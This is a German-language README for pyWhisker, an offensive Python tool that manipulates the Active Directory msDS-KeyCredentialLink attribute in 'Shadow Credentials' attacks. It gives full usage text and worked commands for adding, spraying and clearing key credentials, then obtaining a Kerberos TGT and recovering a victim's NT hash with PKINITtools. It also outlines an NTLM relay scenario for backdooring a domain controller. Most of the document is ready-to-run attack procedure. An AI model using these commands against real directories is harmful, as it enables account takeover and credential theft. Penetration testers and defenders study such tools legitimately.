
Python-Version des C#-Tools für "Shadow Credentials"-Angriffe
pyWhisker ist ein Python-Äquivalent des ursprünglichen Whisker, entwickelt von Elad Shamir und in C# geschrieben. Dieses Tool ermöglicht es Benutzern, das msDS-KeyCredentialLink-Attribut eines Zielbenutzers/-computers zu manipulieren, um die vollständige Kontrolle über dieses Objekt zu erlangen.
Es basiert auf Impacket und einem Python-Äquivalent von Michael Grafnetter's DSInternals namens PyDSInternals, erstellt von podalirius.
Dieses Tool ermöglicht zusammen mit Dirk-jan's PKINITtools eine vollständige primitive Ausnutzung nur auf UNIX-basierten Systemen.
Voraussetzungen für diesen Angriff sind wie folgt:
msDs-KeyCredentialLink-Attribut des Zielbenutzers oder Computerkontos schreiben kann.Warum einige Voraussetzungen?
AS_REQ <-> AS_REP-Transaktion benötigt.Ein KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP wird ausgelöst, wenn Voraussetzung 3 nicht erfüllt ist.
Weitere Informationen zu dieser "Shadow Credentials"-Primitive:
pyWhisker kann verwendet werden, um verschiedene Aktionen am msDs-KeyCredentialLink-Attribut eines Ziels durchzuführen:
msDs-KeyCredentialLink hinzufügenmsDs-KeyCredentialLink verteilen (spray)msDs-KeyCredentialLink entfernenmsDs-KeyCredentialLink entfernenmsDs-KeyCredentialLink im JSON-Format exportierenmsDs-KeyCredentialLink mit KeyCredentials aus einer JSON-Datei überschreibenpyWhisker unterstützt die folgenden Authentifizierungen:
Unter anderem unterstützt pyWhisker mehrstufige Ausführlichkeit; einfach -v, -vv, ... an den Befehl anhängen :)
pyWhisker kann auch domänenübergreifend arbeiten, siehe das Argument -td/--target-domain.
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help show this help message and exit
-t TARGET_SAMNAME, --target TARGET_SAMNAME
Target account
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
Path to a file with target accounts names (one per line)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
Action to operate on msDS-KeyCredentialLink
--use-ldaps Use LDAPS instead of LDAP
--use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
-crt, --certfile CERTFILE
Path to the user certificate (PEM format) for Schannel authentication
-key, --keyfile KEYFILE
Path to the user private key (PEM format) for Schannel authentication
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Target domain (if different than the domain of the authenticating user)
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
arguments when setting -action to add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
-f FILENAME, --filename FILENAME
filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
-e {PEM,PFX}, --export {PEM,PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
arguments when setting -action to remove:
-D DEVICE_ID, --device-id DEVICE_ID
device ID of the KeyCredentialLink to remove when setting -action to remove
Nachfolgend finden Sie Beispiele und Screenshots, was pyWhisker kann.
pyWhisker kann vorhandene KeyCredentials auflisten. Darüber hinaus kann es die gesamte Struktur entfalten, um alle Informationen anzuzeigen, die dieses Objekt enthält (einschließlich der RSA-öffentlichen Schlüsselparameter).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker kann bestimmte Werte entfernen oder das gesamte Attribut löschen.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker kann RSA-Schlüssel, ein X509-Zertifikat, eine KeyCredential-Struktur generieren und die notwendigen Informationen als neue Werte des msDs-KeyCredentialLink-Attributs schreiben. Das Zertifikat kann im PFX-Format (#PKCS12, Zertifikat + privater Schlüssel, mit einem Passwort geschützt) oder im PEM-Format (PEM-Zertifikat, PEM-privater Schlüssel, kein Passwort erforderlich) exportiert werden.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

Sobald die Werte von pyWhisker generiert und hinzugefügt wurden, kann ein TGT mit gettgtpkinit.py angefordert werden. Der NT-Hash kann dann mit getnthash.py wiederhergestellt werden.
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

Sobald die Werte von pyWhisker generiert und hinzugefügt wurden, kann ein TGT mit gettgtpkinit.py angefordert werden. Der NT-Hash kann dann mit getnthash.py wiederhergestellt werden.
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker kann mehrere KeyCredential-Hinzufügungen zu einer Reihe von Zielen verketten, d.h. spray (sofern die verwendeten Anmeldedaten die entsprechenden Berechtigungen haben).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
Im msDs-KeyCredentialLink-Attribut gespeicherte KeyCredentials können analysiert, strukturiert und als JSON gespeichert werden.

Der JSON-Export kann dann verwendet werden, um das msDs-KeyCredentialLink-Attribut in dem Zustand wiederherzustellen, den es zum Zeitpunkt des Exports hatte.

Ein Pull Request wurde in ntlmrelayx eingebunden, um pyWhiskers "Hinzufügen"-Funktion zu integrieren.

Benutzerobjekte können ihr eigenes msDS-KeyCredentialLink-Attribut nicht bearbeiten. Computerobjekte hingegen schon. Das bedeutet, dass folgendes Szenario funktionieren könnte: Lösen Sie eine NTLM-Authentifizierung von DC01 aus, leiten Sie sie an DC02 weiter, lassen Sie pyWhisker das Attribut von DC01 bearbeiten, um eine Kerberos-PKINIT-Vorauthentifizierungs-Hintertür darauf zu erstellen.

Computerobjekte können ihr eigenes msDS-KeyCredentialLink-Attribut bearbeiten, aber ein KeyCredential nur hinzufügen, wenn noch keines vorhanden ist.

Wenn Sie auf Fehler stoßen, stellen Sie sicher, dass es keine Zeitverschiebung zwischen Ihrem Angreifer-Host und dem Key Distribution Center (normalerweise dem Domänencontroller) gibt. Um diesen Fehler zu vermeiden, sind die von pyWhisker generierten Zertifikate 40 Jahre vor dem aktuellen Datum und 40 Jahre danach gültig.
Dank an Dirk-jan für seine Arbeit an PKINITtools. Wir hatten ursprünglich vor, Impacket-Skripte (insbesondere gettgt.py) zu überarbeiten, um eine asymmetrische PKINIT-Vorauthentifizierung für Kerberos zu implementieren. Er hat uns eine Menge Kopfschmerzen erspart, indem er es vor uns geschrieben hat!
Dank an das gesamte Team hinter Impacket und seine Mitwirkenden.
Dank an Elad Shamir, der das ursprüngliche C#-Tool (Whisker) erstellt hat, und an Michael Grafnetter's, der DSInternals entwickelt hat, eine Bibliothek, die den Großteil der schweren Arbeit von Whisker erledigt. Er war auch derjenige, der die ursprüngliche Black Hat-Demo zur Angriffsprimitive präsentierte.